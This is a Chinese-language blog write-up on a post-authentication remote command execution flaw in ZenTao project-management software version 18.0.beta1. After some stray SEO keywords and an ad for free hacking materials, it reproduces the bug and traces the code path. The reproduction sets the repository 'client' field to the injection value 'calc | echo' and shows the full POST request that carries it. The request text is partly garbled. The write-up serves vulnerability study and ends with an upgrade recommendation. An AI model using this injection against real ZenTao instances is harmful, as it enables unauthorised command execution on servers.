wordpress vieu,青岛网站seo优化,福州专业网站建设公司,自建站成本漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体#xff0c;是一款专业的研发项目管理软件#xff0c;完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效#xff0c;功能完备丰富#xff0c;…漏洞简介
禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体是一款专业的研发项目管理软件完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效功能完备丰富操作简洁高效界面美观大方搜索功能强大统计报表丰富多样软件架构合理扩展灵活有完善的 API 可以调用。
禅道后台存在 RCE 漏洞均存在于历史版本对这些漏洞进行复现分析。
环境搭建
源码下载地址 https://dl.cnezsoft.com/zentao/18.0.beta1/ZenTaoPMS.18.0.beta1.php7.2_7.4.zip
利用 phpstudy 来进行环境的搭建
漏洞复现
登录后台创建 GitLab 类型的代码库
点击 DevOps 模块的设置选项修改创建的代码库
点击保存并抓取数据包
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
修改参数 SCM 和 client SCM 修改为 Subversion client 修改为 calc | echo
触发了命令执行执行了两次
漏洞分析
发现有一些分析文章中描述需要先创建一个代码仓库也指出了创建代码仓库的原因因为调用的是 edit 方法所以要先 create
经过调试发现这是必须的因为在没创建代码库时执行 edit 方法会提示跳转去创建代码库
module/repo/control.php#commonAction
所以需要先创建代码库
module/repo/control.php#create
module/repo/model.php#create
在创建代码库的时候有一个检查 Client 的操作 只有选择 Gitlab 才能不做客户端的检测操作直接创建成功
module/repo/model.php#checkClient
创建成功后执行编辑操作触发漏洞
POST /index.php?mrepofeditrepoID0 HTTP/1.1
Host: test.test
Content-Length: 36
Accept: application/json, text/javascript, */*; q0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charsetUTF-8
Origin: http://test.test
Referer: http://test.test/index.php?mrepofeditrepoID1objectID0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Cookie: zentaosidbp9k0pcftu49b2ethm9f32hc5b; langzh-cn; devicedesktop; themedefault; preExecutionID1; moduleBrowseParam0; productBrowseParam0; executionTaskOrderstatus%2Cid_desc; windowWidth1440; windowHeight722; tabdevops; repoBranchmaster;XDEBUG_SESSIONPHPSTORM
Connection: closeSCMSubversionclient calc | echo module/repo/control.php#edit
module/repo/model.php#update module/repo/model.php#checkConnection
修复建议
更新至最新版本